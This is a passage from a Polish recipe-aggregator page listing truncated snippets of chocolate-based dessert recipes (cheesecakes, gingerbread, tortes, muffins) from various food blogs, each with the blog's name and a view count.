wprost z kokilek. Jednak najczęściej deser podawany jest ze świeżymi owocami, lodami lub oprószony cukrem pudrem. W każdej z odsłon smakuje wyśmienicie. Składniki (na 2 kokilki) : 100 g gorzkiej czekolady (60-70%) 50 g masła cukier waniliowy (najlepiej z prawdziwą wanilią) 3 łyżki cukru 2 jajka 1 łyżka mąki szczypta soli masło do posmarowania kokilek kakao do oprószenia kokilek Wykonanie(...)Masło i czekoladę rozpuścić w kąpieli wodnej. Wystudzić. Jajko roztrzepać z cukrem i solą. Do masy jajecznej dodać mąkę i wymieszać. Następnie dodać rozpuszczoną czekoladę i wymieszać. Kokilki wysmarować masłem, oprószyć kakao (nadmiar strzepnąć). Piekarnik nagrzać do 200°C. Piec przez 7 minut z termoobiegiem. Bez termoobiegu o minutę dłużej. PS. Przepis z małymi modyfikacjami pochodzi

zadanie-gotowanie
Serniczki bez pieczenia 109

mielonego białego sera twarogowego tłustego lub półtłustego 250 g serka mascarpone 4 łyżki cukru pudru 1 łyżka soku z cytryny 2 łyżki żelatyny w proszku 100 g czekolady z zawartością co najmniej 50% kakao 5 łyżek mleka nadzienie cukiernicze marki Lauretta (malinowe i waniliowe) do dekoracji Jak przygotować serniczki bez pieczenia? Zmiksować serek mascarpone z cukrem i pod koniec dodać(...)stopniowo biały ser i sok z cytryny (ilość cukru według uznania). Czekoladę roztopić z dodatkiem mleka w misce ustawionej na garnku z gotującą się wodą. Mieszać, aż powstanie jednolita lśniąca masa czekoladowa. Masę serową podzielić na 2 części i jedną zmiksować z wystudzoną płynną czekoladą. Żelatynę namoczyć w 5 łyżkach zimnej wody i po napęcznieniu lekko podgrzać, aby się rozpuściła

Kuchcik gotuje
Kulki mocy | Śliwka w czekoladzie 124

blenderze (może być mieszanka różnych orzechów, u mnie orzechy laskowe) 1 płaska łyżeczka ciemnego kakao 1 łyżeczka oleju kokosowego mała szczypta soli himalajskiej Dodatkowo: kakao do obtoczenia gorzka czekolada (na wszystkie kuleczki ok. 100 g) Przygotowanie: 1) Suszone daktyle i śliwki zalać ciepłą wodą i odstawić na godzinę. 2) Po tym czasie, odsączyć (wodę zostawić), pokroić na mniejsze kawałki(...)dodać 1-2 łyżki wody, w której moczyły się daktyle i śliwki. 4) Po wyciągnięciu z lodówki, z masy formować niewielkie kuleczki i obtaczać w kakao lub w gorzkiej czekoladzie rozpuszczonej w kąpieli wodnej. 5) Gotowe kulki przechowywać w szczelnie zamykanym pojemniku, w lodówce.   Artykuł Kulki mocy | Śliwka w czekoladzie pochodzi z serwisu FitSweet

Fitsweet.me
Piernik, który zawsze się udaje 248

kakao 1 łyżka przyprawy do piernika 1 łyżeczka sody 1 łyżeczka cynamonu 100g powideł z czarnej porzeczki + ewentualnie 100g powideł do przełożenia ciasta Składniki na polewę 50 g gorzkiej czekolady 1 łyżka masła 2 łyżki mleka Piernik – przepis Białka ubijamy na sztywną masę, dodajemy cukier i ucieramy mikserem. Następnie dodajemy mąkę, kakao, olej, mleko, proszek do pieczenia, sodę, przyprawy(...)upieczeniu ciasto zostawiamy jeszcze przez chwilę w ciepłym piecyku. Jeśli lubicie to po ostygnięciu przekrójcie ciasto na dwie połowy, posmarujcie powidłami i złączcie. Polewa – przepis W rondelku roztapiamy czekoladę z masłem i mlekiem. Musicie cały czas mieszać, aby czekolada Wam się nie przypaliła. Ciepłą polewą smarujemy ostudzony piernik i zostawiamy na chwilę, aby polewa zastygła. Smacznego!   Post Piernik

Kulinarnyblog.pl - wiesz jak gotować!
Tort kokosowo-czekoladowy z wiśniami 152

Tort kokosowo-czekoladowy z wiśniami to bezmleczna wersja tortu szwarcwaldzkiego. Tort jest pyszny i wyjątkowy. Do jego ozdobienia można wykorzystać wiórki kokosowe, startą czekoladę kokosową albo świeże wiśnie. Tort możemy też przygotować na jasnym biszkopcie. Przepis znajdziecie tutaj . Składniki na biszkopt czekoladowy do tortu: 4 jajka 3 łyżki mąki pszennej 3 łyżki mąki ziemniaczanej 2 łyżki kakao 8 łyżek cukru(...)łyżki cukru pudru (opcjonalnie) 1/2 łyżeczki agar agar Dodatki: dżem wiśniowy do przełożenia tortu mocna kawa lub woda z cytryną do nasączenia biszkoptu (opcjonalnie) wiórki kokosowe do dekoracji (opcjonalnie) czekolada kokosowa do dekoracji Przygotowanie tortu zaczynamy od upieczenia biszkoptu. Nim zaczniemy trzeba pamiętać, by wszystkie składniki były w temperaturze pokojowej. Spód tortownicy o średnicy 22 cm wykładamy papierem do pieczenia

Dieta bez mleka
TOFURNIK 184

schłodzonego mleka kokosowego sok z 1 cytryny skórka z 1 cytryny duży budyń waniliowy 4-5 łyżek cukru pudru 1 op. cukru z prawdziwą wanilią Dekoracja: 50 g gorzkiej czekolady 1 łyżeczka oleju kokosowego kasza jaglana ekspandowana Wykonanie: Spód: Suszone daktyle zalewamy wrzącą wodą i odstawiamy na ok. 30 min. Banany blendujemy. 1,5 szklanki płatków owsianych mielimy na miałko(...)podpieczony spód i wstawiamy do piekarnika nagrzanego do 170 stopni na 60-70 min. Gdy ciasto się upiecze, nie wyjmujemy go tylko studzimy w wyłączonym piekarniku.  Polewa: Czekoladę topimy w kąpieli wodnej razem z olejem kokosowym. Stopioną czekoladą polewamy wierzch wystudzonego ciasta i posypujemy ekspandowaną kaszą jaglaną. Ciasto przechowujemy w chłodnym miejscu. P.S. Przepis pochodzi z mojego bloga

Kuchnia MagdaLeny
Babeczki kokosowe 128

Dziś coś dla fanów kokosu – puszyste babeczki z kokosowymi wiórkami, podane z kremem śmietankowo kokosowym. Składniki: babeczki - 100 g białej czekolady - 120 g masła - 100 g cukru - 125 g mąki pszennej - 100 g wiórków kokosowych - 50 ml mleka - 2 jajka - 1 łyżeczka proszku do pieczenia polewa - 200 g serka śmietankowego - 100 g cukru pudru - 100 g wiórków kokosowych(...)Przygotowanie: Masło wraz z czekoladą rozpuszczamy w kąpieli wodnej i studzimy. Żółtka oddzielamy od białek i ucieramy je z cukrem na puszystą masę. Do masy dodajemy porcjami rozpuszczoną czekoladę z masłem, mleko oraz mąkę wymieszaną z wiórkami kokosowymi i proszkiem do pieczenia, miksujemy. Na koniec dodajemy ubitą na sztywno pianę z białek. Ciasto przekładamy do foremek na babeczki

Zainspirowana w kuchni
Ciasto Biały Lion 181

Jedno z lepszych ciast jakie ostatnio robiłam. Jest przepyszne! Pięknie wygląda, jest łatwe do zrobienia. Było hitem naszej sylwestrowej imprezy ;) Puszysty, miękki biszkopt z białą czekoladą, masa kajmakowa z ryżem preparowanym i krem budyniowy, całość udekorowana solonymi orzeszkami. Niebo w buzi, bardzo polecam :) Jeżeli przygotowałaś/eś danie z tego przepisu, proszę o jego zdjęcie :). Wyślij je na adres konsek_ewa@o2.pl(...)facebooku. Fotografię opublikuję na facebookowym profilu Domowej cukierni Ewy :)  Składniki na biszkopt: 5 jajek 3/4 szklanki cukru 1 szklanka mąki pszennej 1 łyżka mąki ziemniaczanej 50 g białej czekolady, startej na tarce Krem budyniowy: 2 żółtka 500 ml mleka 2 łyżki mąki ziemniaczanej 3 łyżki mąki pszennej 3 łyżki cukru 200 g masła + 1 puszka masy kajmakowej

Domowa cukiernia Ewy
TORCIK MAKOWY Z POMARAŃCZOWĄ GALERETKĄ 181

czasie robimy polewę. POLEWA: - 1/3 kostki margaryny lub masła - 4 łyżki karobu lub kakao ( ja ostatnio używam karobu jest smaczniejszy!) - 3 łyżki cukru - 1/3 szklanki mleka Ponadto: 1 czekolada mleczna i 1 łyżeczka żelatyny Całość zagotuj, zmniejsz gaz i gotuj przez 5 minut. Zdejmij z ognia i dodaj 1 całą czekoladę mleczną. Poczekaj chwilę aż się rozpuści i dopiero zacznij(...)cieście. Ciasto wstawiamy do lodówki na minimum 1 godzinę.  Ciasto przechowujemy w lodówce. Ja ciasto udekorowałam migdałami, w kawiarni ciasto ma na polewie jeszcze białe gwiazdki z białej czekolady, ale już je sobie darowałam ;-) Mam nadzieję, że Wam zasmakuje

SMYKWKUCHNI
Tarta z suszonymi śliwkami i czekoladą 166

spód z amarantusa, masa z suszonych śliwek i polewa czekoladowa na mleku kokosowym. Sama natura i to bez dodatkowego cukru, nabiału czy glutenu. Z ksylitolu można również zrezygnować, dodając czekoladę o nieco mniejszej zawartości kakao. Korzystając z przepisu, koniecznie wybierzcie śliwki suszone dobrej jakości (bez innych „wspomagaczy”), bo to one grają tutaj główną rolę. Zamiast suszonych śliwek do masy można(...)szklanki amarantusa ekspandowanego 100 g suszonych śliwek 1 łyżka oleju kokosowego Nadzienie: 250 g suszonych śliwek 2 łyżki oleju kokosowego Polewa: 150 g mleka kokosowego 100 g gorzkiej czekolady bez cukru 90% 2 łyżki ksylitolu lub erytrytolu kilka suszonych śliwek * PRZYGOTOWANIE Spód Śliwki zalej wrzątkiem i odstaw na kwadrans. Odlej wodę i zmiksuj na purée wraz z olejem kokosowym. Połącz

Food Square
MALINY NA CHMURCE 95

dużo w ogrodzie wykorzystuje je na wiele sposobów. Dziś przedstawiam kolejny szybki przepis na deser. Składniki: 500ml śmietanki 30% 1 łyżka cukru pudru 250g mascarpone 100g białej czekolady Maliny i mięta do dekoracji Śmietankę należy lekko podgrzać, dodać pokruszoną białą czekoladę, pozostawić na kilka minut a następnie wymieszać i rozpuścić czekoladę. Wstawić na kilka godzin do lodówki lub porządnie schłodzić

Słodki Zakątek
NALEŚNIKI W PUCHARKU 170

Niestandardowe podanie naleśników. Słodki deser z bitą śmietaną, dżemem truskawkowym, czekoladą i malinami. Świetna alternatywa na deser w pucharku. Składniki na ciasto naleśnikowe:  1 ½ szklanki mleka 1 szklanka mąki’ 2 jaja Szczypta soli 1 łyżka oliwy Ponadto : 200ml śmietanki 30% 1 łyżeczka cukru pudru Niskosłodzony truskawkowy dżem Lubella czekolada deserowa maliny Do wysokiego naczynia wlewamy mleko, dodajemy jaja, oliwę(...)naleśniki stygną bujamy śmietanę z cukrem pudrem. Placki składamy na pół i zwijamy w rurkę. Wkładamy do pucharków. Napełniamy bitą śmietaną. Wierzch dekorujemy łyżką niskosłodzonego dżemu truskawkowego. Posypujemy startą czekoladą oraz nakładamy malinę. Jeżeli przygotowałaś/eś ciasto z tego przepisu, bardzo proszę o jego zdjęcie :). Wyślij je na adres slodki.zakatek123@gmail.com. Fotografię opublikuję w komentarzach oczywiście z podpisem osoby, która

Słodki Zakątek
JAGIELNIK 153

zwykle u mnie dziś szybki przepis. Ciasto bez pieczenia. Z użyciem zdrowej kaszy jaglanej. Mało słodkie, z dodatkiem gorzkiej czekolady.  Obłożone bitą śmietaną i granatem.    Masa czekoladowa: 2 czekolady deserowe ¼ szklanki cukru 1 szklanka kaszy jaglanej 2 szklanki wody 1 ½ szklanki mleka 50g masła Szczypta soli Do dekoracji: 500 ml śmietanki 30% 250g mascarpone 2 łyżki cukru(...)się goryczki. Następnie zalewamy kaszę wodą z dodatkiem szczypty soli, gotujemy na małym ogniu przez ok 15 minut. Wlewamy do kaszy mleko, chwilę gotujemy, dodajemy masło, cukier i połamaną czekoladę. Gdy składniki się rozpuszczą całość blendujemy na gładką masę. Dno formy wykładamy warstwą herbatników i przekładamy połową gorącej masy, przykrywamy herbatnikami i wylewamy pozostałą część masy. Chłodzimy. Schłodzoną śmietankę połączyć

Słodki Zakątek
Sernik truflowy 121

Powstałą masę serową wylać na wyłożoną ciastem tortownicę, piec w temperaturze 180 °C przez 60 - 70 minut. Upieczony sernik zostawić w piekarniku do wystygnięcia.  Dodatkowo 250 g białej czekolady dobrej jakości 5 dag masła 1 łyżka śmietanki kilka "Trufli" do dekoracji owoc granatu Czekoladę połamać na kosteczki i umieścić w garnuszku, dodać masło oraz śmietankę. Cały czas mieszając podgrzewać(...)wolnym ogniu do momentu połączenia się składników. Rozpuszczoną czekoladą polać sernik, udekorować "Truflami" oraz granatem

Kuchenne aromaty
Tosty z nutellą i bananami. 152

przygotować na podwieczorek lub jak ktoś lubi śniadania na słodko to właśnie na śniadanie. Zapraszam :) Składniki: chleb tostowy jasny według uznania słoiczek ulubionej nutelli 2 banany 5 dag mlecznej czekolady Wykonanie: 1. Banany obieramy i kroimy w plasterki. 2. Chleb tostowy kroimy w trójkąty. 3. Kromki chleba smarujemy nutellą, nakładamy po dwa plasterki banana i składamy. 4. Opiekamy w opiekaczu(...)kanapek, tak jak lubimy na rumiano. 5. Czekoladę rozpuszczamy w kąpieli wodnej. 6. Na talerze nakładamy tosty, dekorujemy rozpuszczoną czekoladą i podajemy. 7. Smacznego życzę

Izabelawkuchni
Ciasto dyniowe z czekoladą 124

Duża porcja ciasta dyniowego z kawałkami czekolady i orzechami zadowoli wszystkich łasuchów. Wilgotne i mięciutkie idealne do kawy lub herbaty. Składniki: (użyłam blachy 35x25, ale mogą być 3 keksówki 23x12) 4 jajka 2/3 szklanki wody 3 szklanki cukru 1 szklanka oleju 450 g puree z dyni 3,5 szklanki mąki 1 łyżka cynamonu 1 łyżka mielonej gałki muszkatołowej 2 łyżeczki(...)sody 1,5 łyżeczki soli 1/2 szklanki posiekanych orzechów włoskich 1 szklanka groszków czekoladowych lub posiekanej czekolady W dużym naczyniu połączyć jajka z puree z dyni, cukrem, olejem i wodą. Zmiksować na jednolitą masę, a następnie wmieszać mąkę, cynamon, sól, i gałkę muszkatołową. Dodać czekoladę, orzechy i wymieszać. Przelać do blachy wyłożonej papierem do pieczenia i piec około 1 godz

talerz przyjemności
Ciasto Niebiańskie 192

WYKONANIE: 1. Śmietanę ubić na sztywno. 2. Dodać cukier puder wedle uznania. 3. Dodać żelatynę rozpuszczoną w gorącej wodzie. 4. Dokładnie wymieszać. 5.Wylać na biszkopty. Wyrównać. 6.Zetrzeć czekoladę na tarce DODATKI: 6 kostek czekolady mlecznej 1 opakowanie biszkoptów okrągłych (150g) WYKONANIE: Biszkopt -Masa ajerkoniakowa - Biszkopty - Masa śmietanowa - Czekolada

Dziś Ja gotuje
Leśna pokusa... 739

szklanki cukru 700 ml mleka 100 g miękkiego masła galaretka: 500 g mieszanki owoców leśnych mrożonych 650 ml wody 2 galaretki truskawkowe wierzch ciasta: herbatniki maślane polewa czekoladowa 1 czekolada deserowa 6 łyżek śmietanki 30% Wykonanie: Jajka ubijamy razem z cukrem do białości następnie dodajemy mąkę z proszkiem do pieczenia oraz makiem i wszystko delikatnie mieszamy łyżką do połączenia się(...)Odstawiamy do stężenia, od czasu do czasu mieszając. Na wystudzone ciasto wykładamy masę budyniową, następnie wylewamy tężąca się galaretkę, na wierzch układamy herbatniki. W garnuszku podgrzewamy mleko dodajemy połamana czekoladę i dokładnie mieszamy do uzyskania jednolitej polewy. Polewę czekoladę wylewamy na herbatniki i dokładnie rozprowadzamy, możemy dodać również trochę białej polewy i wymieszać obie polewy robiąc wzorek :) Ciasto

kgwjanczewo
Ciasto Pawi ogon 144

mleko 1 l, budyń śmietankowy 2 szt, mąka pszenna 3 łyżki, cukier 5 łyżek, masło 200 g, dodatkowo: galaretka zielona 2 szt, woda 3 szklanki, biszkopty okrągłe duża paczka, czekolada mleczna 1 tabliczka, śmietanka 30% 6 łyżek, Sposób przygotowania: Ciasto: Mąkę przesiać, dodać cukier puder, proszek do pieczenia, margarynę i posiekać nożem. Następnie dodać jajka, żółtko i śmietanę i zagniatamy(...)Galaretki rozpuszczamy w 3 szklankach wody, gdy zaczną tężeć to wlewamy je między rolady. Gdy galaretki zastygną to nakładamy pozostałą masę. Następnie układamy okrągłe biszkopty. Do rondelka wkładamy połamaną czekoladę i wlewamy śmietankę. Rondel ustawiamy na małej mocy palnika i rozpuszczamy czekoladę, przez cały czas mieszając. Wierzch ciasta polewamy gotową polewą. Ciasto przechowujemy w lodówce.  Przepis zaczerpnięty ze strony

kulinarne odsłony pati
Rafaello 206

Biszkopt 3 jaja 3 łyżki cukru 3 łyżki mąki pszennej łyżka mąki ziemniaczanej 3/4 łyżeczki proszku do pieczenia Pianka kokosowa 1/2 litra kremówki 30% 200 g białej czekolady puszka mleczka kokosowego 5 łyżeczek żelatyny Dekoracja  wiórki kokosowe kulki "Rafaello" Sposób Biszkopt 1. Białka z cukrem ubić na sztywno, nie przerywając ubijania dodawać po jednym żółtku, ubijać do momentu(...)temperatury 180 °C przez około 20 minut. Upieczony biszkopt wystudzić.  Pianka kokosowa 1. Dzień wcześniej podgrzać kremówkę, nie zagotowując jej, zdjąć z ognia, dodać połamaną na kawałki białą czekoladę i dokładnie wymieszać, aż czekolada się rozpuści.  2. Masę przykryć, przestudzoną włożyć do lodówki na całą noc. 3. Na drugi dzień rozpuścić żelatynę w 1/4 szklanki gorącej wody

Kuchenne aromaty
Drip cake dekoracja tortu 132

wyczarowałam taki prosty torcik.  Muszę przyznać, źe po tak długiej rozłące czułam się nieswojo. Czekoladowe blaty :  Ciasto czekoladowe Masa: 500 ml śmietanki 36% podgrzać z 200g białej czekolady. Następnie chłodzić przez noc, ubić. Polewa czekoladowa; 100g gorzkiej czekolady i 50 ml śmietanki 30 lub 36% Blaty rozkroić , nasączyć wodą z sokiem z cytryny. Przekładać śmietaną i kawałkami świeźych(...)truskawek. Schłodzoną czekoladą wykończyć torcik. Udekorować wedle uznania. Artykuł Drip cake dekoracja tortu pochodzi z serwisu Rusty fork

Rusty Fork
Sernik na zimno o smaku pomarańczowym z gorzką czekoladą 133

zmodyfikowałam, a więc to niejako przepis autorski Składniki: 1 kg sera na sernik ( ja kupuję taki w wiaderku w supermarkecie) 2 galaretki pomarańczowe 1 aromat pomarańczowy 2 rządki gorzkiej czekolady 2 mandarynki do dekoracji Przygotowanie: jedną galaretkę rozpuść w 400 ml gorącej wody, a nie jak jest napisane, że w 500 ml, przestudzić czekoladę zetrzeć na tarce do warzyw(...)najdrobniejszych oczkach do misy miksera przełożyć ser, dodać przestudzoną galaretkę i miksować przez ok 3 minuty, dodać aromat pomarańczowy oraz czekoladę, miksować jeszcze minutę tortownicę wyłożyć folią spożywczą na dnie i po bokach, na wierzch natomiast położyć folię aluminiową, zrób to tak by nie było szpar i szczelin, bo ta dziadyga masa serowa lubi sobie wypływać z tortownicy przelej masę

Oka w rosole czyli KaFka gotuje
Sernik korzenny z kajmakiem 179

zdejmujemy dopiero kiedy sernik zupełnie wystygnie, następnie schładzamy w lodówce, najlepiej przez noc 8. Zimny sernik smarujemy przed podaniem kajmakiem i dekorujemy orzechami * czekoladowe choinki - ok 150 g białej czekolady rozpuszczamy w kąpieli wodnej lub w mikrofali, zabarwiamy zielonym barwnikiem spożywczym. Na arkuszu papieru do pieczenia układamy patyczki, ok 6 szt. czekoladę przelewamy do woreczka strunowego, w którym po nalaniu(...)czekolady odcinamy końcówkę, wyciskamy cienkim strumyczkiem kształt choinki tak żeby zalać patyczek mniej więcej do połowy, oprószamy choinkę dowolną posypką cukrową, odkładamy do zamrażalnika lub do lodówki na ok 15 min aż choinki stwardnieją

Słodki Kompromis
Piernikowy sernik 146

Magia świąt zaklęta w piernikowym aromatycznym serniku z dodatkiem przyprawy do piernika i gorzkiej czekolady! Składniki: (blaszka 20 x 20 cm) Spód: 70 g czekolady gorzkiej 90 g masła  50 g miodu 15 g przyprawy do piernika 2 średnie jajka 20 g cukru pudru 1 opakowanie cukru waniliowego ok. 16 g 70 g mąki pszennej 10 g mąki ziemniaczanej(...)Kruche ciasto: Wszystkie podane składniki na kruche ciasto zagniatamy , owijamy folią i na ok. 1 godzinę wkładamy do zamrażalnika. Spód: W garnku z grubym dnem rozpuszczamy masło, miód i czekoladę (nie gotujemy). Odstawiamy do wystudzenia. Jajka ubijamy z cukrem pudrem i cukrem waniliowym, dodajemy porcjami przesianą mąkę pszenną, ziemniaczaną, proszek do pieczenia, przyprawę do piernika. Płynną wystudzoną część wlewamy

W Moim Magicznym Domu
Muffinki z białą czekoladą i bananami 146

Muffinki są jednym z najprostszych i najbardziej uniwersalnych deserów. Kilka dodatków wystarczy by wyczarować smaczne babeczki. Dziś zapraszam na muffinki z dodatkiem białej czekolady i bananów. Składniki (12 szt) -2 szkl. mąki pszennej -1/2 szkl. cukru -2 łyżeczki proszku do pieczenia -1 szkl. mleka 1,5% lub 2% -1/4 szkl oleju rzepakowego (lub innego neutralnego w smaku(...)jajka -szczypta soli -18 kostek białej czekolady  -2 banany -garść posiekanych migdałów Przygotowanie Suche składniki (mąkę, proszek do pieczenia, sól, cukier) wymieszać w jednej misce. W drugiej misce połączyć mokre składniki (mleko, olej, jajka). Do dobrze wymieszanych suchych składników wlać mokre i dobrze rozmieszać łyżką. Banany pokroić w plasterki/kawałki.  Blachę do muffinek wyłożyć papilotkami. Nakładać

Zielona Kuchnia
Torcik MaKoWY z BeZiKami i MuSem CzeKOLaDowym 172

Składniki: Spód : ● 4 jajka ● cukier ● 1 kubek mąki tortowej ● 1 budyń z białą czekoladą  ● 2 łyżki sypkiego niebieskiego maku Mus czekoladowy : ● 1 kubek śmietany kremówki ● 1 op serka mascarpone ● cukier ● 2 łyżki kakao ● 1 łyżka żelatyny ● 0, 5 kubka ciepłej wody ● 1 op bezików Do nasączenia biszkoptu: 50 ml limocello 2 łyżki żurawiny w formie dżemu  Polewa(...)tabliczka czekolady mlecznej lub gorzkiej ● 2 łyżki mleka lub śmietany Przygotowanie: ● piekarnik ustawiamy na 180°C najlepiej z termoobiegiem. ● Jajka w temperaturze pokojowej zalewmy na chwilę jak najcieplejszą wodą z kranu, po czym rozbijamy kolejno do wysokiej miski i ucieramy z odroiną cukru na puch. ● po łyżce dodajemy mąkę, budyń i mak ● wstawiamy do nagrzanego piekarnika ● pieczemy około 20 minut

Luźna Kuchnia
Sernik dyniowo – piernikowy 125

szklanki cukru pudru 4 jajka 2 żółtka 3 łyżki mąki ziemniaczanej skórka starta z 1 pomarańczy 3 płaskie łyżeczki przyprawy do piernika Ganache: 100 g mlecznej czekolady 50 g gorzkiej czekolady 3/4 szklanki śmietany kremówki 30% Przygotowanie: Spód: Ciastka zmiksować lub włożyć do woreczka foliowego i dokładnie rozbić tłuczkiem. Wymieszać z roztopionym masłem i imbirem. Dno tortownicy o średnicy(...)minut. Wyłączyć piekarnik i pozostawić na 30 minut. Wyjąć i ostudzić. Ganache: W rondelku podgrzać śmietanę kremówkę, prawie do wrzenia (nie wolno zagotować!) i wyłączyć gaz. Dodać połamane czekolady i mieszać, aż do całkowitego połączenia składników. Ostudzić i polać sernik. Schłodzić. Smacznego To też może Cię zainteresować: Sernik czekoladowo piernikowy Sernik dyniowo-pomarańczowy Piernik z suszonymi śliwkam i (adsbygoogle = window.adsbygoogle

Oryginalny smak
EKSPRESOWY PIERNIK (przepis uniwersalny) 159

szklanka maślanki 3 łyżki miodu 1 słoiczek czekośliwki (ok. 200 g) 1 op. przyprawy do piernika 1 łyżeczka sody 1 łyżeczka proszku do pieczenia Polewa: 100 g gorzkiej czekolady 1 łyżka masła posypka dekoracyjna Wykonanie: Masło topimy w rondelku i studzimy. W misce mieszamy składniki suche: mąkę przesianą przez sito, cukier puder, przyprawę do piernika, sodę oraz proszek do pieczenia(...)końcu dodajemy roztopione i wystudzone masło. Mieszamy rózgą do połączenia składników. Następnie do składników mokrych dodajemy porcjami składniki suche i wszystko mieszamy za pomocą drewnianej łyżki. Polewa: Czekoladę gorzką topimy razem z masłem w kąpieli wodnej. I - PIERNIK Gotową masę wykładamy do formy wyłożonej papierem do pieczenia i wkładamy do piekarnika nagrzanego do 180 stopni na około 50 min. Studzimy

Kuchnia MagdaLeny
Rewelacyjne,miękkie pierniczki nadziewane powidłami 168

kakao -1 białko -4 żółtka -0,5 szkl cukru LUKIER -2 białka -1 łyżka soku z cytryny  -6 łyżek cukru pudru (kopiastych) DODATKOWO -kwaśne,gęste powidła -100g czekolady mlecznej  Miód,przyprawę do piernika oraz masło podgrzewamy i mieszamy-chwilę studzimy. Do śmietany dodajemy sodę i mieszamy.  Do miski dajemy mąkę,kakao Białko ubijamy z cukrem(...)dociskamy by się skleiło i wykrawamy ciasteczka.  Układamy je na blaszce wyłożonej papierem do pieczenia. Wstawiamy do nagrzanego do 180 stopni piekarnika i pieczemy około 12 minut. Czekoladę rozpuszczamy nad kąpielą wodną  przygotowujemy lukier  Ostudzone pierniczki oblewamy czekoladą lub lukrem. Zostawiamy do wyschnięcia i przechowujemy w puszce. Kilka dni temu przyszła do mnie nagroda z konkursu-wygrałam

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Tort makowy z bitą śmietaną i pomarańczami (bezglutenowy) 252

Postanowiłam na bazie przepisu mojej mamy zrobić podobny przysmak. Makowe, wilgotne, bogate w smaku ciasto przełożyłam delikatną bitą śmietaną i plastrami pomarańczy, a na koniec udekorowałam polewą z deserowej czekolady. Tort wychodzi duży i jest bardzo reprezentacyjny - doskonały na Święta, czy Sylwestra. Składniki: 500 g suchego maku 10 jajek 1 szklanka cukru 1 łyżka miodu 2 łyżki cukru waniliowego(...)przełożenia: 500 ml śmietanki kremówki 1 łyżka cukru pudru 1 czubata łyżeczka cukru waniliowego 2 pomarańcze lub konfitura pomarańczowa Polewa: 1/2 szklanki śmietanki kremówki tabliczka czekolady deserowej Przygotowanie: Mak zalać wrzątkiem ok 1 cm ponad jego powierzchnię. Odstawić na godzinę. Odcedzić nadmiar wody (jeśli jest) i zmielić trzykrotnie w maszynce.  Białka ubić, podczas miksowania dodawać po łyżce cukru

Kulinarne Inspiracje
Murzynek bez jajek i masła 306

łyżki gorzkiego kakao 1 łyżka octu winnego lub spirytusowego (nie można pominąć) 1 łyżeczka ekstraktu z wanilii 2 łyżeczki sody oczyszczonej 1 łyżeczka cynamonu szczypta soli polewa: 1 deserowa czekolada, 1/3 szklanki śmietany kremówki 30 lub 36% świeże lub suszone owoce albo orzechy do przybrania W jednej misce łączymy składniki mokre: kawę (lub wodę), olej, powidła, ekstrakt i ocet(...)przez ok. 45 minut (w keksówce ok. 55 minut), a najlepiej do tzw. suchego patyczka. Wyjmujemy i studzimy. Gdy ciasto stygnie, kremówkę podgrzewamy, aż będzie się prawie gotować. Czekoladę drobno siekamy, wkładamy do miseczki i zalewamy gorącą kremówką (można też nie siekać, tylko rozpuścić czekoladę wraz z kremówką w kąpieli wodnej lub na najmniejszej mocy w mikrofalówce). Przykrywamy folią

Poezja smaku
Piernik na szybko dzień przed Wigilią 124

mleka 1 łyżeczka proszku do pieczenia  2 łyżeczki sodki 2 łyżki  kakao goździki 5 szt gałka muszkatowa 1 szt cynamon 2 łyżeczki imbir mielony 1 łyżeczka Dodatkowo: czekolada gorzka 200 g mleko 3 łyżki dmuchane kuleczki czekoladowe Wykonanie: Margarynę cukier i miód rozpuszczamy kiedy będzie chłodne dodajemy jaja i mieszamy.Do misy wsypujemy przesianą mąkę z proszkiem do pieczenia(...)rozpuszczoną powidła,orzechy ,rodzynki. Formę do ciasta prostokątną wykładamy papierem do pieczenia i przekładamy ciasto piernikowe, rozprowadzamy równomiernie. Pieczemy godzinę w 180 stopniach. Po upieczeniu i wystudzeniu polewamy rozpuszczona czekoladą i posypujemy kuleczkami z czekolady ( dmuchane kuleczki

Różowa kuchnia
KRUCHE BABECZKI Z KREMEM BUDYNIOWYM I CZEKOLADĄ NA ŚWIĘTA! 167

KRUCHE BABECZKI Z KREMEM BUDYNIOWYM I CZEKOLADĄ NA ŚWIĘTA! Dzisiaj mam dla Was przepis na przepyszne kruche babeczki z budyniem, które na pewno zasmakują domownikom. Znikają ze stołu w kilka chwil, pięknie się też na nim prezentują.  Są bardzo proste do zrobienia! Ciasto: - 250 g mąki pszennej  - 120 g masła - 3 łyżki przyprawy do piernika - 1 łyżka kakao(...)pół godziny do lodówki. Wylepiamy foremki i pieczemy na złoty kolor, około 15-18 min. w temp 180 stopni C.  Studzimy. Upieczone babeczki smarujemy roztopioną w kąpieli wodnej czekoladą. Gotujemy budyń śmietankowy (standardowy na 500ml mleka ), dodając do niego 3 łyżki masła i 1 jajko. Wszytko mieszamy trzepaczką.  Ja robię to tak: 350 ml mleka, 2 łyżki cukru

SMYKWKUCHNI
20 ciast idealnych na Boże Narodzenie 310

budyniowym 4. Słonecznikowiec  – ciasto biszkoptowe przełożone masą budyniową, polane mlekiem skondensowanym lub masą krówkową MAKOWCE 5. Makowiec japoński  – ciasto z dodatkiem masy makowej, startego jabłka polane roztopioną czekoladą 6. Makowa choinka  – ciasto francuskie nadziane masą makową  7. Rolada makowa  – ciasto drożdżowe nadziane dużą ilością masy makowej 8. Seromakowiec  – kruche ciasto, masa makowa i serowa(...)SERNIKI 9. Sernik z toblerone  – ciasto na zimno przygotowane na bazie czekolady toblerone 10. Sernik chałwowo-czekoladowy  – dwukolorowy, dwusmakowy 11. Sernik puszysty  – lekki jak chmurka, pieczony w kąpieli wodnej 12. Sernikobrownie  – ciasto czekoladowe, masa serowa i truskawkowa 13. Sernik potrójnie czekoladowy  – przygotowany na bazie białej, mlecznej i gorzkiej czekolady 14. Sernik na zimno z jogurtem

Ugotować
Ciasto ze świeżą żurawiną i białą czekoladą 127

zwykle żurawina lądowała w przetworach . Tym razem kupiłam malutkie opakowanie i w końcu udało się zrobić ciasto. Ciacho jest super! Żurawina nadaje mu lekko cierpkiego smaku, a biała czekolada fajnie rozbija ten smak swoją słodyczą. Bardzo polecam!   Dla kogo: dla szukających pomysłu co zrobić ze świeżej żurawiny dla lubiących nieprzekombinowane ciasta dla kochających mięciutkie, wilgotne ciasta Składniki: 2 szklanki(...)łyżeczka proszku do pieczenia 0,5 łyżeczki sody 2 łyżeczki ekstraktu cytrynowego lub łyżka skórki otartej z cytryny 2/3 szklanki naturalnego jogurtu (użyłam greckiego) 220g świeżej żurawiny 50g białej czekolady do dekoracji Wykonanie ciasta: Masło utrzeć mikserem wraz z cukrem na jasną masę, dodać ekstrakt cytrynowy (lub skórkę). Wbijać po jednym jajku, po każdym lekko zmiksować, tylko do połączenia składników

Mania Wypiekania
